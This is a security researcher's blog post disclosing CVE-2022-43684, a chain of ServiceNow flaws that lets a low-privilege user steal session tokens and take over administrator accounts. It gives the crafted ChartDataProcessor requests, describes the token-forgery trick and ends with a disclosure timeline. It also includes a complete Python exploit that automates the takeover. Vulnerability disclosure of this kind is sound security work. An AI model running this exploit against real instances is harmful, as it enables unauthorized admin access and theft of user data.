https://x64.sh/posts/ServiceNow-Insecure-access-control-to-admin/ avatar R3zk0n Bug hunter and exploiter in web security, *OSX, and mobile applications. * HOME * ADVISORIES * CATEGORIES * TAGS * ARCHIVES Home ServiceNow Insecure Access Control To Full Admin Takeover Post [ ] Cancel ServiceNow Insecure Access Control To Full Admin Takeover Posted Jun 26, 2023 By R3zk0n 13 min read ServiceNow Insecure Access Control leading to Administrator Account Takeover - CVE-2022-43684 In this article, we will discuss a series of vulnerabilities that when exploited in succession, could enable a low-privilege user in ServiceNow to gain unauthorized full administrative access to the ServiceNow instance. ServiceNow is a cloud-based platform that provides service management software as a service (SaaS). It is used by a millions of companies worldwide, and specializes in IT Service Management (ITSM), IT Operations Management (ITOM), and IT Business Management (ITBM). It allows users to manage incidents, service requests, problems, and changes within the IT infrastructure of a business. It also provides a self-service portal where end users can request IT services and log issues. While working internally as a security engineer on the offensive security team, we routinely scrutinize the security of third-party platforms that integrate with our systems and processes. This is a crucial step to verify the security of these platforms and prevent potential breaches that could expose our sensitive data. During a recent engagement in mid-2022 our security team was able to exploit a number of vulnerabilities in ServiceNow leading to an effective account takeover to obtain administrative access on the platform as a low privileged user. Table of Contents * Exploring the ServiceNow application * Discovering the XHR request behind 'Interactive Analysis' * Enumerating tables using Glide Query Language (GQL) * Constructing a valid session to escalate privileges to Administrator * Ending Statement * Credits * Disclosure Timeline Exploring the ServiceNow application While exploring the ServiceNow application, we determined that the application uses .do pages. .do endpoints are often associated with Java servlets, which are used to process requests and return dynamic content. As these pages query server-side resources, it should be secured against unauthorized or unintended access to prevent users from gaining access to sensitive functionality. ServiceNow also uses Xml Http Requests (XHR), which is a fundamental technology behind Asynchronous JavaScript and XML (AJAX). The use of these API calls are to allow the performance of various operations without needing a full refresh of the page, which can improve the usability and efficiency of the application. ServiceNow widely uses XHR requests to update records or interacting with certain server-side resources or 'processors'. The application also uses the Glide Query Language (GQL), which is an proprietary, object-oriented language that forms the basis for the ServiceNow API to perform CRUD operations on its database. In essence, GQL serves as an abstraction layer for SQL operations that allows developers to perform database operations without interacting with raw SQL. As a low privilege user, we discovered that it was not possible to directly access many of the application's functionalities. An example is shown below, where we attempted to view the $interactive_analysis.do page: However, while navigating through the application, there are some locations that inadventently redirect us to sensitive pages by appending query strings needed to create a valid request. Due to insufficient access control being implemented, we discovered that a standard user could access the $interactive_analysis.do endpoint if the query string was correctly formatted. We can send the following request to successfully access the $interactive_analysis.do page: https://somehost.service-now.com/$interactive_analysis.do?sysparm_field=password&sysparm_table=sys_user&sysparm_from_list=true&sysparm_query=active%3Dtrue%5Ecaller_id%3Djavascript:gs.getUserID()&sysparm_list_view=&sysparm_tiny_url=f040a8971ba38150d88b624c274bcbb3 This is shown below: This is a very interesting functionality, because at first glance it provides the low privilege user with a graphical representation of all the users that are within the application, which could potentially signal that potentially sensitive information is being retrieved through some database. Discovering the XHR request behind 'Interactive Analysis Through further investigation, we determined that the $interactive_analysis.do page, as well as the corresponding report_viewer.do (by accessing the chart from a separate page), sends an XHR request to xmlhttp.do with the "ChartDataProcessor" processor in the POST request. The initial output is quite complex, however it is possible to decode/trim the request and simplify it to the following POST body: 1 sysparm_request_params={"page_num":"0","series":[{"table":"sys_user","groupby":"name","filter":"","plot_type":"horizontal_bar"}]}&sysparm_processor=ChartDataProcessor Enumerating tables using Glide Query Language (GQL) We identified that ServiceNow sent an XHR request to xmlhttp.do with the "ChartDataProcessor" processor in a GQL format. As previously mentioned, Glide Query Language is a language that is specifically used for ServiceNow, and the processors were scripts that run server-side that can be called through the XHR request. It is similar to SQL in the format structure sent in the POST request. We identifed that the following parameters are of interest: * table: The specific database table used by the application. * groupby: Retrieves the rows from the specified column. This only retrieves the first 10 values used for rendering the chart/graph, however we can modify the "page_num" to enumerate all the values. * filter: Filtering the results retrieved from the GQL query. Leveraging this access control issue we enumerated a number of databases using Burp Suite Intruder and online documentation used by developers of ServiceNow third party plugins. This section of the test required a lot of trial and error to identify potentially useful tables, as there were hundreds of different tables containing varying degrees of sensitive data. We identified that the following tables were particularly interesting for a threat actor: * sys_db_object: Retrieves the complete list of tables used by the application. * sys_user: List of all users * sys_emails: List of all emails According to the documentation, to be able to view ServiceNow tables we need to have read access to at least the ServiceNow tables sys_db_object, sys_dictionary, and sys_glide_object, and in addition to that to the tables you want to view, including referenced tables. However we were not allowed to access certain fields such as the user_password column in the sys_user table, as this would be an easy method to obtain privilege escalation against the system. Through further enumeration however, we were able to find two additional interesting tables, which will prove to be extremely useful later on: * sys_user_session: Retrieves the "glide_session_store" and "X-Usertoken" used by any account. * sys_user_token: Partially retrieves the "glide_user_activity" value. Constructing a valid session to escalate privileges to Administrator When testing the application and enumerating the database using the GQL language, we also noted that a valid authenticated session requires the following cookies/headers: * First method: The glide_user_activity and glide_session_store cookies, and the X-Usertoken header to be correctly set, OR * Second method: The JSESSIONID cookie and the X-Usertoken header to be correctly set. As it was possible to leak the tables we assumed that sys_user_session and sys_user_token would be all we needed to steal other accounts. While this was true there proved to be more nuance that made it more difficult to exploit. The second method initially stood out since the knowledge of a JSESSIONID cookie and the X-Usertoken header would lead to an effective account takeover of any logged in administator user. Ultimately, we were unable to obtain the JSESSIONID from any table, however it may be possible to leverage XSS/CSRF for a successful account takeover, but this was never attempted because we were able to retrieve a valid pathway to exploitation using the first method. The steps are outlined as follows: Firstly, we can use the following query to retrieve the glide_session_store, which is used to store session information for users. Each record represents a unique session for each user, as well as other related information: 1 sysparm_request_params={"page_num":"0","series":[{"table":"sys_user_session","groupby":"id","filter":"nameCONTAINS[Insert_Admin_Email_Here]^invalidatedISNULL","plot_type":"horizontal_bar"}]}&sysparm_processor=ChartDataProcessor Note that the results are filtered by the name of the target user, which we can enumerate using the sys_user table - this can also help us determine who the administrators of the instance are. The ^ invalidatedISNULL removes all the invalidated or expired tokens. Secondly, we need to retrieve the X-Usertoken value from the sys_user_session table, which is the CSRF token that the application provides users to ensure that requests made are genuine and not malicious. We require this token to make subsequent requests to the server. 1 sysparm_request_params={"page_num":"0","series":[{"table":"sys_user_session","groupby":"csrf_token","filter":"nameCONTAINS[Insert_Admin_Email_Here]^invalidatedISNULL","plot_type":"horizontal_bar"}]}&sysparm_processor=ChartDataProcessor The most difficult aspect was to determine a valid glide_user_activity token. A standard glide_user_activity token looks like this: 1 U0N2M18xOmV4VFozT2Eyb2p0OVVWcXY5WktIeUl2L2h5MjFBMlY1d3RnRWkrUVpkZnM9Ok9NNzFIRDV1S0ZBMy90L1plMW5oQXk0OWliYVdBMXFlZUc5cmE3aGdPQ1E9 We can make the following request to retrieve the partial token from the database: 1 sysparm_request_params={"page_num":"0","series":[{"table":"sys_user_token","groupby":"token","filter":"nameCONTAINS[Insert_Admin_Email_Here]","plot_type":"horizontal_bar"}]}&sysparm_processor=ChartDataProcessor However the values that were retrieved from sys_user_token appeared as follows: Each glide_user_activity token could be base64 decoded however, revealing that the value from sys_user_token was the first half of the token: Through trial and error, we determined that the signature section of the token was not sufficiently validated when sent to the server, and it was possible to simply replace or remove the second half of the token to create a valid token. With all three requirements satisfied, it was then possible to takeover any account including administrative accounts with an active session on the ServiceNow instance. ServiceNow also implements impersonation to allow admin to login into any user account for debugging purposes, we were able to use the admin account to impersonate a spefical user admin account and grant our account admin privileges on the ServiceNow instance. Ending Statement Overall, we were able to leverage several vulnerabilities to escalate privileges from a standard user account to administrator of the ServiceNow instance. The following vulnerabilities allowed us to gain effective account takeover: * Insecure access control in the "ChartDataProcessor" processor * Overly permissive read access to sensitive tables in ServiceNow database * Insufficient signature validation of the glide_user_activity token While the root cause of the issue was due to a insecure access control, the other vulnerabilties discovered and chained together took a medium impact bug to a critical impact bug with a CVSS score of 9.9 - https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector= AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H&version=3.1 Credits The multiple vulnerabilities leading to full compromise of the ServiceNow instance were discovered by Luke Symons, Tony Wu, Eldar Marcussen, Gareth Phillips, Jeff Thomas, Nadeem Salim, and Stephen Bradshaw. Proof of Concept 1 import base64 2 import requests 3 import argparse 4 import requests 5 import bs4 6 import json 7 import urllib3 8 import argparse 9 import xml.etree.ElementTree as ET 10 11 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 12 13 proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} 14 15 16 def banner(): 17 banner = ''' 18 19 ..ooo@@@XXX%%%xx.. 20 .oo@@XXX%x%xxx.. ` . 21 .o@XX%%xx.. ` . 22 o@X%.. ..ooooooo 23 .@X%x. ..o@@^^ ^^@@o 24 .ooo@@@@@@ooo.. ..o@@^ @X% 25 o@@^^^ ^^^@@@ooo.oo@@^ % 26 xzI -*-- ^^^o^^ --*- % 27 @@@o ooooooo^@@^o^@X^@oooooo .X%x 28 I@@@@@@@@@XX%%xx ( o@o )X%x@ROMBASED@@@X%x 29 I@@@@XX%%xx oo@@@@X% @@X%x ^^^@@@@@@@X%x 30 @X%xx o@@@@@@@X% @@XX%%x ) ^^@X%x 31 ^ xx o@@@@@@@@Xx ^ @XX%%x xxx 32 o@@^^^ooo I^^ I^o ooo . x 33 oo @^ IX I ^X @^ oo 34 IX U . V IX 35 V . . V 36 37 .-~*'"-"`**~-.,-(Account Now)-,.-~*'"-"`**~-. 38 Privilege Escalation by Rezk0n and WucciSec 39 greets to Wireghoul, GmP, punk_fairybread, & d4rkt1d3 40 ''' 41 print(banner) 42 43 44 target = "https://:443/xmlhttp.do" 45 cookies = {"BIGipServerpool_": "", "JSESSIONID": "", "__CJ_g_startTime": "%%22", "glide_mfa_remembered_browser": "", "glide_session_store": "", "glide_user_activity": "", "glide_user_route": ""} 46 headers = {"User-Agent": "", "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "X-Usertoken": "", "Origin": "", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Referer": "", "Te": "trailers", "Content-Type": "application/x-www-form-urlencoded"} 47 48 49 50 def get_users(xrange): 51 session = requests.session() 52 post_data = '{"page_num":"%s","series":[{"table": "sys_user","groupby":"user_name",' \ 53 '"filter":"","plot_type":"horizontal_bar"}]}' % (xrange) 54 payload = {"sysparm_request_params": post_data, "sysparm_processor": "ChartDataProcessor"} 55 json_response = session.post(target, headers=headers, cookies=cookies, data=payload, 56 proxies=proxies, verify=False) 57 tree = ET.fromstring(json_response.text) 58 notags = ET.tostring(tree, encoding='utf8', method='text') 59 json_data = json.loads(notags) 60 a = json_data['CHART_DATA'] 61 b = json.loads(a)['series'] 62 for i in b: 63 arr = i['aggregate_query'] 64 c = i['aggregate_query'] 65 print(c) 66 if len(c) == 0: 67 exit(1) 68 69 70 71 72 def retrieve_tokens(table, groupby, name, admin_filter): 73 session = requests.session() 74 if not admin_filter: 75 post_data = '{"page_num":"0","series":[{"table": "%s","groupby":"%s",' \ 76 '"filter":"nameCONTAINS%s","plot_type":"horizontal_bar"}]}' % (table, groupby, name) 77 else: 78 post_data = '{"page_num":"0","series":[{"table": "%s","groupby":"%s",' \ 79 '"filter":"nameCONTAINS%s^invalidatedISNULL","plot_type":"horizontal_bar"}]}' % ( 80 table, groupby, name) 81 payload = { 82 "sysparm_request_params": post_data, "sysparm_processor": "ChartDataProcessor"} 83 json_response = session.post(target, headers=headers, cookies=cookies, data=payload, 84 proxies=proxies, verify=False) 85 tree = ET.fromstring(json_response.text) 86 notags = ET.tostring(tree, encoding='utf8', method='text') 87 json_data = json.loads(notags) 88 a = json_data['CHART_DATA'] 89 b = json.loads(a)['series'] 90 for i in b: 91 arr = i['aggregate_query'] 92 c = i['aggregate_query'][0] 93 if not admin_filter: 94 base64_bytes_arr = [] 95 num = 0 96 for val in arr: 97 try: 98 token = arr[num].strip('token=') 99 token_format = "SCv3_1:{}=:{}".format(token, "AAAA") 100 encoded_token = token_format.encode('ascii') 101 base64_bytes = base64.b64encode(encoded_token) 102 base64_bytes_arr.append(base64_bytes) 103 except Exception as err: 104 #print(err) 105 print("No Active Session, we cant steal anything!! :(") 106 exit(1) 107 num = num + 1 108 return base64_bytes_arr 109 else: 110 try: 111 return arr 112 except Exception as e: 113 print("No Vaild Sessions") 114 exit(1); 115 116 117 def validation(sess, user, activity): 118 session = requests.session() 119 validation_endpoint = "https:///api/now/ui/impersonate/role" 120 validation_cookies = { 121 "glide_user_activity": activity, 122 "glide_session_store": sess 123 } 124 validation_headers = {"X-Usertoken": user, 125 "Origin": "https://", "Content-Type": "application/json;charset=utf-8" 126 } 127 payload = {"role":""} 128 json_response = session.post(validation_endpoint, headers=validation_headers, cookies=validation_cookies, json=payload, 129 proxies=proxies, verify=False) 130 return json_response.status_code, json_response.json() 131 132 133 def main(): 134 glide_session_stores_arr = [] 135 usertoken_arr = [] 136 glide_user_activity_arr = [] 137 try: 138 glide_session_stores_arr = retrieve_tokens('sys_user_session', 'id', args.n, True) 139 usertoken_arr = retrieve_tokens('sys_user_session', 'csrf_token', args.n, True) 140 glide_user_activity_arr = retrieve_tokens('sys_user_token', 'token', args.n, False) 141 except Exception as e: 142 print("No valid session with that user..:(\n") 143 exit(1) 144 145 print("Testing access to the /api/now/ui/impersonate/role endpoint") 146 is_valid = False 147 for glide_session_stores in glide_session_stores_arr: 148 for usertoken in usertoken_arr: 149 for glide_user_activity in glide_user_activity_arr: 150 if is_valid: 151 break 152 try: 153 session_token = glide_session_stores.strip("id=") 154 user_token = usertoken[11:] 155 activity_token = glide_user_activity.decode('ascii') 156 157 status_code, response = validation(session_token, user_token, activity_token) 158 if status_code == 201: 159 print("Success! Potential Administrator Credentials!") 160 print("\tglide_session_stores: " + str(session_token)) 161 print("\tX-Usertoken: " + str(user_token)) 162 print("\tglide_user_activity: " + str(activity_token)) 163 print("\n") 164 active_roles = response['result']['activeRoles'] 165 print("\tActive Roles: " + str(active_roles)) 166 is_valid = True 167 else: 168 print(".",) 169 except Exception as e: 170 print(e) 171 172 173 if __name__ == "__main__": 174 banner() 175 parser = argparse.ArgumentParser() 176 parser.add_argument('-n', type=str, required=False, help="Provide a user account to takeover.") 177 parser.add_argument('-d', '--dump', action='store_true') 178 args = parser.parse_args() 179 if args.dump: 180 for i in range(1, 10): 181 get_users(xrange=i) 182 if args.n: 183 main() Disclosure Timeline Action Date Reported vulnerabilities to ServiceNow and provided POC 24th June, script and provides remediation advice 2022 Security Team Replies to Email regarding vulnerabilities 27th June, 2022 Security Team follows up with ServiceNow 17th August, 2022 ServiceNow imports Security team to Hacker one 23th August, 2022 15th Security requests for remediation and disclosure September, 2022 ServiceNow replies with assigned single CVE number 25th (Multiple bugs discovered) October, 2022 28th Security Team replies to vendor October, 2022 4th Security Team requests for timeline November, 2022 5th ServiceNow responses with waiting next family release November, 2022 22th Hackerone Triager changes report to Triaged December, 2022 ServiceNow responses with update 4th January, 2023 Service Team requests to disclosure 23th March, 2023 ServiceNow Responses regarding timeline on next patch 29th March, release 2023 ServiceNow provides update to align internally - 12th April, timeline not provided. 2023 Security Team requests for medidation by Hackerone as 2nd June, vendor is delaying. 2023 ServiceNow responses with disclosure this month 5th June, 2023 ServiceNow publishes an article on 8th June, support.servicenow.com 2023 ServiceNow updates MITRE database with the assigned 16th June, CVE-2022-43684 2023 Public disclosure 26th June, 2023 Vuln Research, Web Web Web-Research This post is licensed under CC BY 4.0 by the author. Share Trending Tags Web hacking penetration testing Hacking mobile Penetration Testing Android Samsung Web-Research Apple Contents Further Reading Mar 20, 2023 JetEngine < 3.1.3.1 - Author+ Remote Code Execution The plugin includes uploaded files without adequately ensuring that they are not executable, leading to a remote code execution vulnerability. Proof of Concept - JetEngine Author+ Include() RCE ... Jun 1, 2019 Juno XSS Challenge Recently during one weekend i was bored and decided to browse a around various sources for something to do related to security during this, I saw juno had pushed out a challenge for Cross site scri... Jan 18, 2021 XSS Encoding Generator Quite often @wireghoul bugs me to blog post about various topics and things I have learnt over the years of a penetration testing. So here is the first post of 2021! It is quite short but hopefull... JetEngine < 3.1.3.1 - Author+ Remote Code Execution - (c) 2023 R3zk0n. Some rights reserved. Powered by Jekyll with Chirpy theme. Trending Tags Web hacking penetration testing Hacking mobile Penetration Testing Android Samsung Web-Research Apple x A new version of content is available. Update